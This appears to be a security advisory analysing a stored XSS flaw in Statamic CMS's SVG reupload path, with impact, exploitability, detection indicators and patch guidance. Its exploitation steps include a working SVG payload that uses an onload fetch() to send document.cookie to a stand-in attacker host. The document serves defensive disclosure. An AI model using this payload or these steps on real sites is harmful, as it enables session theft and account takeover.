CVE-2026-33172: 
PHP vulnerability analysis and mitigation

CVE-2026-33172 is a stored cross-site scripting (XSS) vulnerability in Statamic CMS caused by a bypass of SVG sanitization during asset reuploads. Authenticated users with asset upload permissions can inject malicious JavaScript into SVG files that executes in the browser of any user who views the asset. The vulnerability affects Statamic versions prior to 5.73.14 and versions 6.0.0 through 6.7.0 (exclusive). It was published on March 17, 2026, and carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Statamic Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically a failure to properly sanitize SVG content during the asset reupload workflow, even though initial uploads may be sanitized (GitHub Advisory). An attacker crafts a malicious SVG file containing embedded JavaScript (e.g., via <script> tags or event handler attributes such as onload) and uploads it to a Statamic instance where they hold asset upload permissions. The sanitization bypass occurs specifically in the reupload code path, meaning a previously uploaded benign SVG can be replaced with a malicious one that evades the sanitization logic. The vulnerability was reported by researcher FilipeGaudard (Statamic Advisory).

When a victim user views the compromised SVG asset, the injected JavaScript executes in their browser within the context of the Statamic application, enabling session token theft, unauthorized actions performed on behalf of the victim, redirection to malicious sites, or harvesting of sensitive information (GitHub Advisory). The scope change (S:C in CVSS) indicates that the impact extends beyond the attacker's own session to affect other users, including potentially administrators. Confidentiality and integrity are both rated High, reflecting the risk of credential theft and unauthorized data manipulation, while availability is not directly impacted.

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.01% (3rd percentile), indicating a low near-term probability of exploitation (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (asset upload permission) and user interaction (a victim viewing the asset), which somewhat limits the attack surface.

1. Reconnaissance: Identify a Statamic CMS instance running a vulnerable version (< 5.73.14 or 6.0.0–6.7.0) and obtain or create an account with asset upload permissions.
2. Craft malicious SVG: Prepare an SVG file containing embedded JavaScript that bypasses sanitization, for example using an onload event handler or a <script> block: <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)"><rect width="100" height="100"/></svg>.
3. Initial upload (optional): Upload a benign SVG asset to establish a legitimate asset entry in the CMS.
4. Reupload malicious SVG: Use the asset reupload functionality to replace the existing asset with the malicious SVG, exploiting the sanitization bypass in the reupload code path.
5. Trigger victim interaction: Share or embed the asset URL in content visible to other users (e.g., administrators or editors), or wait for users to browse the asset library.
6. Harvest results: When a victim views the asset, the injected JavaScript executes in their browser, sending session cookies or other sensitive data to the attacker-controlled server (GitHub Advisory, Statamic Advisory).

• File System: SVG files in the Statamic assets directory containing <script> tags, javascript: URIs, or event handler attributes (onload, onerror, onclick) — particularly in files that were recently reuploaded.
• Network: Outbound HTTP requests from users' browsers to unexpected external domains shortly after viewing SVG assets; requests to attacker-controlled endpoints carrying cookie or session data in query parameters.
• Logs: Statamic or web server access logs showing repeated asset reupload requests (PUT/POST to asset endpoints) from a low-privileged user account, especially replacing previously uploaded SVG files.
• Browser/Application: Unexpected redirects or pop-ups when users navigate to asset preview URLs; session invalidation or unauthorized account actions following asset viewing events.

Statamic has released patched versions 5.73.14 and 6.7.0 that fix the SVG sanitization bypass in the reupload code path; upgrading to these versions is the primary recommended remediation (GitHub Advisory, Statamic Advisory). As interim mitigations, restrict asset upload permissions to only fully trusted users, implement Content Security Policy (CSP) headers to limit script execution contexts, and audit existing SVG assets in the repository for suspicious content. Organizations should also monitor asset upload activity for anomalous reupload patterns.

The vulnerability received coverage from several security news outlets and advisory aggregators shortly after disclosure, including The Hacker Wire and Yazoul (The Hacker Wire, Yazoul Advisory). Social media discussion was observed on Bluesky and Mastodon, though reactions appear limited in scope given the moderate exploitation complexity and lack of active exploitation. The advisory was published by Statamic maintainer jasonvarga and credited researcher FilipeGaudard for the responsible disclosure (Statamic Advisory).